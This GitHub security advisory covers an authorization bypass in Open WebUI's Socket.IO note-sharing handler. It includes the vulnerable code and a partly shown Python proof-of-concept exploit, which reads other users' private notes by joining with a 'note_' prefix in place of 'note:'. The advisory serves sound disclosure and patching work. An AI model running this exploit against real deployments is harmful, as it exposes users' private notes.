GitHub Advisoryadvisory · PyPI
GHSA-8788-j68r-3cgh Open WebUI: Any authenticated user can read other users' private notes via Socket.IO
MEDIUM
Official page ↗
- Aliases
- CVE-2026-54022
- Ecosystem
- PyPI
- Packages
- open-webui
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-706, CWE-863
- Reviewed
- 2026-06-17
Affected packages
• PyPI open-webui: < 0.8.11 → fixed in 0.8.11
Description
Summary
The `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(":", "_")`). An attacker can join a document room using `note_` (underscore) instead of `note:` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.
Details
The `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix:
```python
@sio.on("ydoc:document:join")
async def ydoc_document_join(sid, data):
document_id = data["document_id"]
if document_id.startswith("note:"):
note_id = document_id.split(":")[1]
note = Notes.get_note_by_id(note_id)
# ... ownership and AccessGrants check ...
# Returns early if user doesn't have access
# If document_id does NOT start with "note:", execution continues
# with no authorization check at all
await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)
await sio.enter_room(sid, f"doc_{document_id}")
ydoc = Y.Doc()
updates = await YDOC_MANAGER.get_updates(document_id)
for update in updates:
ydoc.apply_update(bytes(update))
state_update = ydoc.get_update()
await sio.emit("ydoc:document:state", {
"document_id": document_id,
"state": list(state_update),
}, room=sid)
```
The `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores:
```python
async def get_updates(self, document_id: str) -> List[bytes]:
document_id = document_id.replace(":", "_") # line 176
# ... returns updates keyed by normalized ID
async def append_to_updates(self, document_id: str, update: bytes):
document_id = document_id.replace(":", "_") # line 134
# ... stores update keyed by normalized ID
```
This means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith("note:")` authorization check but retrieves the same data from `YdocManager`.
PoC
```python
!/usr/bin/env python3
"""
uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS
Finding #15 — Any authenticated user can read other users' private notes via Socket.IO
SUMMARY:
The ydoc:document:join Socket.IO handler only checks authorization for
document IDs starting with "note:" (colon). However, YdocManager normalizes
document IDs by replacing colons with underscores internally. An attacker
can join a room using "note_" (underscore) to bypass the auth check,
while still accessing the same underlying Yjs document as "note:".
Then ydoc:document:state returns the full document content.
VULNERABLE CODE:
backend/open_webui/socket/main.py, ydoc:document:join:
if document_id.startswith("note:"):
# permission check only for colon-prefix
# "note_" skips this check entirely
backend/open_webui/socket/ydoc.py, YdocManager:
key = document_id.replace(":", "_") # normalizes to same storage key
IMPACT:
Any authenticated user can read the full content of any other user's notes
by exploiting the namespace collision between "note:" and "note_" prefixes.
REPRODUCTION:
1. Victim creates a private note with sensitive content.
2. Attacker connects via Socket.IO and authenticates.
3. Attacker joins room with document_id "note_" (underscore).
4. Attacker requests ydoc:document:state to get the full note content.
REQUIREMENTS:
• Running Open WebUI instance
• A victim note with content
• Attacker user (any authenticated user)
"""
import argparse
import asyncio
import sys
import requests
import socketio
async def victim_initialize_note(base, victim_token, note_id):
"""Simulate victim opening the note in the UI to initialize the Yjs document."""
sio = socketio.AsyncClient()
await sio.connect(
base,
socketio_path="/ws/socket.io",
headers={"Authorization": f"Bearer {victim_token}"},
transports=["websocket"],
)
# Join using the proper note:id format (passes auth check since victim owns it)
doc_id = f"note:{note_id}"
print(f" Joining as victim with document_id: {doc_id}")
await sio.emit("ydoc:document:join", {
"document_id": doc_id,
"user_id": "victim",
"user_name": "Victim",
})
await asyncio.sleep(1)
# Send a Yjs update with the note content
# Create a simple Yjs document with text content
try:
import pycrdt as Y
ydoc = Y.Doc()
ytext = ydoc.get("default", type=Y.Text)
with ydoc.transaction():
ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone."
update = ydoc.get_update()
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
# If pycrdt not available, try y-py
try:
import y_py as Y
ydoc = Y.YDoc()
ytext = ydoc.get_text("default")
with ydoc.begin_transaction() as txn:
ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone.")
update = txn.get_update()
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": list(update),
})
print(f" Sent Yjs update with note content ({len(update)} bytes)")
except ImportError:
print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker")
# Send a minimal marker that we can detect
raw_update = list(b"\x01\x00\x00\x00\x00\x00\x00SECRET_NOTE_CONTENT_MARKER")
await sio.emit("ydoc:document:update", {
"document_id": doc_id,
"update": raw_update,
})
await asyncio.sleep(1)
await sio.disconnect()
print(f" Victim disconnected")
async def exploit(base, attacker_token, victim_note_id):
sio = socketio.AsyncClient()
result = {"state": None, "error": None, "joined": False}
@sio.on("ydoc:document:state")
async def on_state(data):
result["state"] = data
print(f" [!] Received ydoc:document:state event!")
print(f" document_id: {data.get('document_id', '?')}")
state = data.get("state", [])
print(f" State size: {len(state)} bytes")
@sio.on("error")
async def on_error(data):
result["error"] = data
print(f" [!] Error event: {data}")
@sio.on("*")
async def catch_all(event, data):
if event not in ("ydoc:document:state", "error"):
print(f" [debug] Event: {event} Data: {str(data)[:200]}")
# Connect with auth token
print(f"[*] Connecting as attacker to Socket.IO...")
await sio.connect(
base,
socketio_path="/ws/socket.io",
auth={"token": attacker_token},
transports=["websocket"],
)
# Join with "note_" prefix (underscore — bypasses auth)
bypass_doc_id = f"note_{victim_note_id}"
print(f"\n[*] …
Related
Alias · CVE (1)
- CVE-2026-54022 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability
References
- https://github.com/open-webui/open-webui/security/advisories/GHSA-8788-j68r-3cgh web
- https://nvd.nist.gov/vuln/detail/CVE-2026-54022 advisory
- https://github.com/advisories/GHSA-8788-j68r-3cgh advisory
- https://github.com/open-webui/open-webui package
- https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2712.yaml web
- https://pypi.org/project/open-webui web